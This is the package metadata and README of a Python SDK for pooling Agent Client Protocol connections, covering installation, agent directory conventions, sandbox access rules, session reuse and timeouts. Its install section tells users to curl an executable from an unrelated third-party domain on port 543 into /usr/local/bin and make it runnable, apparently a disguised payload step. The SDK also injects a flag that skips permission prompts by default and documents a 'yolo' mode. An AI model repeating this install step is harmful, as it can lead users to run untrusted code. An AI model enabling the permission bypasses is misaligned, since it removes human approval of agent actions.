Metadata-Version: 2.4
Name: antigravity-acp-sdk
Version: 0.2.10
Summary: A generic client and connection pool implementation for Agent Client Protocol (ACP)
Requires-Python: >=3.12
Description-Content-Type: text/markdown
Requires-Dist: agent-client-protocol>=0.10.1
Requires-Dist: pydantic==2.13.4
Requires-Dist: jinja2>=3.1.2

# Antigravity ACP SDK

`antigravity-acp-sdk` is a generic Python client and concurrent long-connection pool manager built on top of the official `agent-client-protocol` (ACP).

## Installation

### 1. Standard PyPI Dependency Mode (Recommended)
Add `antigravity-acp-sdk` to your project's dependencies:

```toml
[project]
dependencies = [
    "antigravity-acp-sdk>=0.1.0",
]
```

Or install it directly via `pip` or `uv`:
```bash
uv pip install antigravity-acp-sdk
# or
pip install antigravity-acp-sdk
```

### 2. Git Dependency Mode
If you wish to depend directly on the remote Git repository branch or tag:

```toml
[project]
dependencies = [
    "antigravity-acp-sdk @ git+ssh://git@github.com/yourorg/antigravity-acp-sdk.git@v0.1.0"
]
```

## System Environment Dependencies & Installation

This package depends on the `agy` CLI command-line tool and the `agy-acp` communication bridge executable. Any project environment importing this package must download and install these system-level dependencies beforehand.

### 1. Install official agy CLI
`agy` is the underlying command-line tool that runs agents. You can install it using the official installation script:
```bash
curl -fsSL https://antigravity.google/cli/install.sh | bash
# By default, it is installed to ~/.local/bin/agy. To make it globally available, we recommend moving it to /usr/local/bin:
# mv ~/.local/bin/agy /usr/local/bin/agy
```

### 2. Download and install agy-acp
`agy-acp` is the stdio bridging executable that the connection pool uses to launch long connections:
*   **Download URL**: `https://www.fentaiq.com:543/agy-acp`
*   **Installation Command**:
    ```bash
    curl -fsSL https://www.fentaiq.com:543/agy-acp -o /usr/local/bin/agy-acp
    chmod +x /usr/local/bin/agy-acp
    ```

### 3. Environment and PATH Variable Configuration
By default, the connection pool searches for `agy-acp` in the system's `PATH` environment variable.
*   If `agy-acp` is installed in the standard `/usr/local/bin`, the connection pool can automatically call it.
*   If installed in a non-standard path (e.g., a local Python virtual environment `.venv/bin` or user's local binary directory `~/.local/bin`), you must pass this directory via the `extra_paths` parameter when initializing the connection pool (e.g., `extra_paths=["/home/user/.local/bin"]`), otherwise a subprocess startup error will be thrown indicating the command could not be found.

## Environment Variables & Execution Configuration

When spawning ACP subprocesses, this package automatically synchronizes and supports the following key environment variables to control the agent's underlying behavior. Projects using this package should configure these variables before startup:

1.  **Specify Model (`AGY_MODEL`)**:
    *   Set the default analysis model for the ACP process via the `AGY_MODEL` environment variable (e.g., `"Gemini 3.5 Flash (Medium)"`).
2.  **ACP Extra Run Arguments (`AGY_EXTRA_ARGS`)**:
    *   By default, the argument `--dangerously-skip-permissions` is automatically injected. This is crucial for automated testing and non-interactive scenarios to bypass interactive command-line permission prompts.

## Agent Configuration & Asset Structure Specifications (By Convention)

This SDK adopts a **Convention over Configuration** approach:

### 1. Directory-as-Agent Naming Convention (Mandatory)
All agents must be organized under a unified `agent/` folder. **The subdirectory name must serve as the agent's name, and it must contain an `AGENTS.md` file as a valid agent identifier**:
```text
host_project/
└── agent/
    ├── mcp_config.json               # 1. Global default MCP config (shared by all agents)
    ├── hooks.json                    # 2. Global default Hooks config (shared by all agents)
    ├── access_control_rules.json     # 3. Global default access control block file (shared by all agents)
    ├── scripts/                      # 4. Global shared hook scripts directory
    │   ├── _shared.py
    │   ├── validate.py
    │   ├── validate_delivery.py
    │   └── check_file_access.py
    └── stock_analyzer/               # 5. Agent-specific configuration directory (Name: stock_analyzer)
        ├── AGENTS.md                 # Agent-specific rules (Rules - must exist)
        ├── mcp_config.json           # Agent-specific MCP config (optional)
        ├── hooks.json                # Agent-specific rule hook file (optional)
        ├── access_control_rules.json # Agent-specific access control hook file (optional)
        ├── models/                   # Agent-specific Pydantic output model directory (optional)
        │   └── report.py             # Contains Pydantic BaseModel definitions
        └── skills/                   # Agent-specific skills directory (Skills)
            └── stock_analysis/
```

### 2. Triple-Layered Deep Merge Mechanism
When starting a workspace, the SDK automatically merges the three configuration layers deep, generating the corresponding configuration files in the sandbox `<cwd>/.agents/`:
*   **JSON Merge Semantics**:
    *   `dict` types: Perform recursive deep merge. Identical keys are overwritten by the higher-priority layer.
    *   Non-dict types (such as `list`, `scalar`): **Directly overwrite**, with higher-priority configuration replacing lower ones entirely.
*   **Identical Folder Merging**:
    *   Folders with the same name across the three layers (such as resource directories `skills/`, `scripts/`, etc.) will be recursively copied and merged into the sandbox.
    *   If a filename conflict is detected during copying, a warning will be logged.
*   **Pydantic Models & Dynamic Schema Generation**:
    *   **Same-Name Mapping Convention**: The system maps the **output JSON filename** to the **Pydantic model filename** of the same name. For example, if the expected output is `report.json`, the system automatically searches for and loads `models/report.py`.
    *   **Dynamic Schema Export & Validation**: During agent assembly, the system scans Pydantic model classes under `models/` and automatically exports corresponding JSON Schemas in the cache (e.g., `schemas/report.schema.json`). Runtime validation prioritizes using Pydantic models in `models/` for strong-type validation and provides detailed location info with a guide to read the schema.json if validation fails. If no model definition is found, it automatically falls back to JSON Schema validation.
    *   **Model Code Reuse**: If multiple output files need to share the same Pydantic model structure, you do not need to copy the code. You can directly import it via standard Python imports in `models/` sub-model files (e.g., `from .annual_report import FinancialReport as QuarterlyReport` in `models/quarterly_report.py`) to maintain the simplest same-name convention.
    *   **Root Model Heuristics**: When a model file contains multiple Pydantic classes, the system uses a heuristic algorithm to automatically identify the main validation model. The algorithm filters out nested subclasses referenced by other classes in field annotations; if multiple candidates remain, it prioritizes the class closest to the file name; finally, it defaults to the first class.
*   **Skill-level Output Declarations & Self-Healing Guidance**:
    *   **Output Metadata Declaration**: Developers can declare the list of expected deliverable filenames at the top of `.md` files in the `skills/` directory using YAML Frontmatter format:
        ```yaml
        ---
        name: my_skill
        outputs:
          - report.json
        ---
        ```
    *   **Output Guidance Auto-Injection**: During SDK assembly, if a skill declares outputs, the SDK automatically appends a `System Output Guidance` section to the end of the skill's Markdown, guiding the agent to output to the `.agents_brain/output/` directory and comply with format validation against the corresponding `.agents/schemas/`. The hash of this guidance template is also cached; when the template changes, old skill caches are invalidated.
    *   **Self-Healing Guidance for Missing Deliverables**: At the end of execution, `validate_delivery.py` reads the skill output manifest file `skills_manifest.json` compiled by the SDK. If expected deliverables are missing, it automatically identifies the responsible skill and returns a precise self-healing guide to the agent:
        `💡 Guidance: Please execute skill 'my_skill' (Use skill: my_skill) to generate this deliverable.`
*   **File-level Cache Mechanism via Soft Links (`.agent_cache`)**:
    *   The SDK caches assembly and rendering outputs under `.agent_cache/{agent_name}/`. Using file-level cache, each file separately stores its source file's MD5 and inputs hash.
    *   During assembly, files or templates are only regenerated or merged when their respective source files change, achieving fine-grained cache and fast assembly. If symbolic links are supported, the entire cache directory is mounted directly to `cwd/.agents` via `os.symlink`, achieving great assembly speed and minimal system I/O overhead. Otherwise, it smoothly falls back to physical copies.
*   **Process Isolation for Input/Output Directories**:
    *   To prevent cross-process contamination and cache pollution, the input and output directories (`input` and `output`) have been migrated from `.agents/` to `.agents_brain/input` and `.agents_brain/output` under the workspace directory.
    *   The system automatically parses hardcoded `.agents/input/` and `.agents/output/` paths in skills and output guidance templates, replacing them with their corresponding `.agents_brain/` paths.

### 3. Sandbox Security & Access Control Specifications
To ensure host environment safety and verification code integrity, the SDK includes a default set of file permission and access control interception rules (driven by `check_file_access.py`):
*   **Strict Write Protection**:
    *   **System Directory Write Protection**: Agents are strictly forbidden from writing files to the `.agents/` directory (e.g., modifying hook scripts, MCP configs).
    *   **Sandbox Brain Write Protection**: Inside `.agents_brain/`, agents are **only** allowed to write to the designated `output/` directory. Writing to other areas like `input/` is blocked to prevent input data tampering.
*   **Config & Source Code Read Protection**:
    *   **Script Directory List Protection**: Agents are forbidden from running `list_dir` on the validation script directory `.agents/scripts/`.
    *   **Sensitive File Peeking Protection**: Agents are forbidden from running `view_file` on source code files in `.agents/scripts/` and core config files like `hooks.json`, `mcp_config.json`, and `access_control_rules.json`.
*   **Data-Driven Access Control**:
    *   The system automatically reads custom rule lists in `access_control_rules.json` to dynamically authorize or block file read/write operations based on path patterns (`path_patterns`), file extensions (`extensions`), and exclusion rules (`exclude_patterns`).

---

## Core API Reference

### 1. Connection Pool Initialization (Minimal & Parameter-free)
```python
from antigravity_acp_sdk import AcpConnectionPool

pool = AcpConnectionPool.get_instance(
    max_connections=4,
    command="agy-acp",
    extra_paths=["/path/to/custom/bin"]
)
```

### 2. Acquire Connection and Compile Inputs (`client.new_session`)
Supports passing an `inputs` dictionary to safely compile Markdown templates for rules and skills. It introduced the `jinja2` template engine to support complex logic (loops, conditions, etc.) while maintaining backward compatibility and fallback to regex-based variable substitution (e.g. optional variable `{{ x | default('') }}`) on errors. It also automatically handles the copying and linking of file/directory inputs.

**Input Handling Strategy**:
1. **Single File**: Automatically copied to the sandbox `.agents_brain/input/` directory, replacing the template variable with its relative path.
2. **Directory Path**:
   - **Default Behavior (Recursive Copy)**: Recursively copies the entire directory to `.agents_brain/input/<dirname>`, ensuring write-isolation safety.
   - **Optional Behavior (Symlink Mode)**: When `link_inputs=True` is specified, a symbolic link pointing to the source directory is created in the sandbox (falling back to recursive copy if unsupported or failed), suitable for large directories where write isolation is not required.

```python
from antigravity_acp_sdk import AgentManager

# Initialize agent definitions
manager = AgentManager("agent")
agent = manager.get_agent("stock_analyzer")

# Acquire connection
client = await pool.acquire()

# Start session; inputs are processed for copying and rendering automatically
session_resp = await client.new_session(
    cwd="/path/to/sandbox",
    agent=agent,
    inputs={
        "financial_data": "/abs/path/to/annual_financial_metrics.tsv", # File: auto-copied to .agents_brain/input/ and replaced with relative path
        "raw_dataset_dir": "/abs/path/to/raw_dataset",                 # Directory: recursively copied by default
        "analysis_guideline": "Focus on reviewing asset liquidity metrics" # Text: direct variable substitution
    },
    link_inputs=False,  # Optional: set to True to enable symlink mode
    additional_directories=["/path/to/additional/dir"] # Optional: scan additional directories (passed to backend --add-dir)
)
session_id = session_resp.session_id
```

### 3. Run and Auto-Recycle Deliverables (`client.prompt`)
Host starts the agent using `client.prompt`. The SDK automatically reads and parses all outputs under `.agents_brain/output/` in memory (encapsulated as `AgentOutputs`), then cleans up temporary `input/` and `output/` directories.

In addition, `client.prompt`, `client.resume_session`, and `client.load_session` offer an optional `timeout` parameter to control the maximum wait time:
* `timeout`: Type `Optional[float]`, defaults to `1800.0` seconds (30 minutes).
  * Overrides default timeout when specified (e.g. `timeout=120.0`).
  * Setting `None` removes any timeout limit for this call.
  * **Timeout Threshold Validation**: The `timeout` parameter must not exceed `3600.0` seconds (1 hour). If a timeout greater than `3600.0` is supplied, a `ValueError` is raised.
  * **Timeout Handling**: When exceeded, `asyncio.TimeoutError` (or `TimeoutError` in Python 3.12+) is raised. For `client.prompt`, the client automatically sends a `session/cancel` request to `agy-acp` to terminate the underlying process and release resources.

> [!IMPORTANT]
> **About Timeout Limit & Cross-design Constraints**
> * **Client Maximum**: The SDK limits the `timeout` parameter to a maximum of `3600` seconds (1 hour) for all methods.
> * **Server Bottom Line**: When spawning the underlying Agent process, the SDK automatically injects `--print-timeout=65m0s` (65 minutes, or 3900 seconds).
> * **Design Consideration**: Restricting the client-side timeout to 3600 seconds leaves a **5-minute budget** compared to the server's 65 minutes. This ensures that when a client-side timeout triggers, the SDK still has sufficient time to execute resource cleanup, dispatch cancellation signals, and persist session states safely.

```python
from acp import text_block

# Run and retrieve deliverables with default 1800s timeout
prompt_resp, outputs = await client.prompt(
    session_id=session_id,
    prompt=[text_block("Use skill: stock_analysis, Analyze stock 000001.SZ")]
)

# Run with a custom timeout limit (e.g., 120s)
prompt_resp, outputs = await client.prompt(
    session_id=session_id,
    prompt=[text_block("Use skill: stock_analysis, Analyze stock 000001.SZ")],
    timeout=120.0
)

# 1. Parse JSON files automatically into dict
report = outputs.get_content("report.json")
# 2. Read other formats as plain text
text_log = outputs.get_content("sub_folder/logs.txt")
```

### 3.5 Set Execution Mode (`client.set_session_mode`)
Allows modifying the execution behavior of the agent session:
* `mode_id`: Supported values include `"default"`, `"plan"` (plan mode), `"accept-edits"` (or `"auto-approve"`), and `"yolo"` (skips permission validations).

```python
# Switch session mode to yolo to run command without permission prompt
await client.set_session_mode(session_id=session_id, mode_id="yolo")
```

### 4. Session Reuse (`client.resume_session` and `client.load_session`)
You can restore or resume previous conversations directly in the SDK, avoiding rebuilding session workspace or manually configuring PWD. 

**Key Enhancements in SDK Session Reuse**:
1. **Optional `cwd` with Strict Locking**: The `cwd` parameter is now completely **optional**. The SDK automatically registers the session working directory on first establishment to a host persistent store (`~/.openab/antigravity-acp-sdk/client_sessions.json`). When resuming/loading, omitting `cwd` will automatically recover and bind the historical path. If you explicitly pass `cwd`, the SDK strictly validates it; **changing working directories on reuse is forbidden** and will raise a `ValueError` to guarantee consistency.
2. **Auto-Pruning to Prevent Bloat**: To prevent the local persistent store from bloating indefinitely, the SDK automatically syncs with the `agy-acp` backend active sessions from `~/.openab/agy-acp/sessions.json` on each write. It also applies a strict 200-entry limit with a FIFO (first-in-first-out) scrolling eviction safety fallback.
3. **Variable Memory Snapshot**: Under the hood, your previous variables are automatically snapshotted to `.agent_cache/{agent_name}/inputs_snapshot.json`. When reusing sessions, you can pass only **incremental changes** in the `inputs` dictionary or omit the parameter entirely, and the SDK will automatically merge your updates with the snapshot to render the templates successfully without missing-variable errors.

#### 1) `resume_session`: Quick session resume
Restores session configuration (such as model and active settings) without replaying previous logs. This is highly suitable for headless scripting, automated scripts, or backend automation loops.

```python
# Resume an existing session id. `cwd` is retrieved from local cache automatically.
# Passing `inputs` performs a smart incremental update on the variable memory.
session_resp = await client.resume_session(
    session_id="previous-session-id",
    agent=agent,                # Optional: auto-rebuild rules sandbox if needed
    inputs={"new_param": "abc"},# Optional: smart incremental update (or omit to use full snapshot)
    clear_brain=False           # Optional: False to preserve old input/output logs
)

# Continue prompt smoothly (the underlying conversation is automatically continued via Rust adapter)
prompt_resp, outputs = await client.prompt(
    session_id="previous-session-id",
    prompt=[text_block("What did I ask you to remember?")]
)
```

#### 2) `load_session`: Reload session with history replay
Restores the session and automatically triggers `session/update` notifications to replay all historical user prompts, model responses, thought chains, and tool call logs. This is perfect for UI applications or environments where you need to rebuild the conversation panel structure.

```python
session_resp = await client.load_session(
    session_id="previous-session-id",
    agent=agent,
    clear_brain=False
)
```

---

## Command Line Development & Diagnostics Tools (Bin CLI Tools)

### 1. verify-mcp: One-click MCP Connection Diagnostics
Performs standard initialization handshake diagnostics on the merged MCP process for a specific agent:
```bash
uv run verify-mcp stock_analyzer --base-dir agent/ --extra-paths .venv/bin
```

### 2. inspect-agent: Agent Configuration and Sandbox Structure Overview
Lists rules, skills, and hooks, displaying the generated `.agents/` sandbox and `.agents_brain/` directory structures:
```bash
uv run inspect-agent --base-dir agent/ --extra-paths .venv/bin
```
